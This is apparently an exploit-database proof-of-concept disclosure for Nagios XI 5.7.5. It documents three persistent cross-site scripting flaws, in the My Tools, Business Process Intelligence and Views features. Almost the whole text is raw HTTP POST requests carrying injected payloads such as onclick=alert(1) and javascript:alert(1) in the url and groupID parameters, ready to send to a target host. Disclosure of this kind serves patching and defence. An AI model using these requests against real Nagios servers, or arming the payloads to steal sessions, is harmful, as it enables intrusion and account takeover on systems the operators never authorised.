Nagios XI 5.7.5 – Multiple Persistent Cross-Site Scripting
# Exploit Title: Nagios XI 5.7.5 - Multiple Persistent Cross-Site Scripting # Date: 1-20-2021 # Exploit Author: Matthew Aberegg # Vendor Homepage: https://www.nagios.com/products/nagios-xi/ # Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/ # Software Link: https://www.nagios.com/downloads/nagios-xi/ # Version: Nagios XI 5.7.5 # Tested on: Ubuntu 18.04 # Vulnerability Details # Description : A persistent cross-site scripting vulnerability exists in the "My Tools" functionality of Nagios XI. # Vulnerable Parameter : url # POC # Exploit Details : The following request will create a tool with an XSS payload. Click on the URL link for the malicious tool to trigger the payload. POST /nagiosxi/tools/mytools.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 145 Origin: http://TARGET Connection: close Referer: http://TARGET/nagiosxi/tools/mytools.php?edit=1 Cookie: nagiosxi=5kbmap730ic023ig2q0bpdefas Upgrade-Insecure-Requests: 1 nsp=a2569a2507c7c69600769ca7388614b4264ab9479c560ac62bbc5f9fd76c2524&update=1&id=-1&name=XSS+Test&url=%27+onclick%3D%27alert%281%29&updateButton= ############################################################################################################ # Vulnerability Details # Description : A persistent cross-site scripting vulnerability exists in "Business Process Intelligence" functionality of Nagios XI. # Vulnerable Parameter : groupID # POC # Exploit Details : The following request will create a BPI group with an XSS payload. Click on the Group ID for the malicious BPI group to trigger the payload. POST /nagiosxi/includes/components/nagiosbpi/index.php?cmd=add HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 186 Origin: http://TARGET Connection: close Referer: http://TARGET/nagiosxi/includes/components/nagiosbpi/index.php?cmd=add&tab=add Cookie: nagiosxi=6lg3d4mqgsgsllclli1hch00td Upgrade-Insecure-Requests: 1 groupID=%27onclick%3Dalert%281%29%2F%2F&groupType=default&groupTitle=TEST&groupDesc=&groupInfoUrl=&groupPrimary=1&groupWarn=90&groupCrit=80&groupDisplay=2&addSubmitted=true ############################################################################################################ # Vulnerability Details # Description : A persistent cross-site scripting vulnerability exists in "Views" functionality of Nagios XI. # Vulnerable Parameter : url # POC # Exploit Details : The following request will create a view with an XSS payload. Click on the malicious view to trigger the payload. POST /nagiosxi/ajaxhelper.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 147 Origin: http://TARGET Connection: close Referer: http://TARGET/nagiosxi/account/ Cookie: nagiosxi=6lg3d4mqgsgsllclli1hch00td cmd=addview&url=javascript:alert(1)&title=TESTVIEW&submitButton=&nsp=c97136052a4b8d7d535c7d4a7a32389a5882c65cb34f2c36b849f72af52b2056 |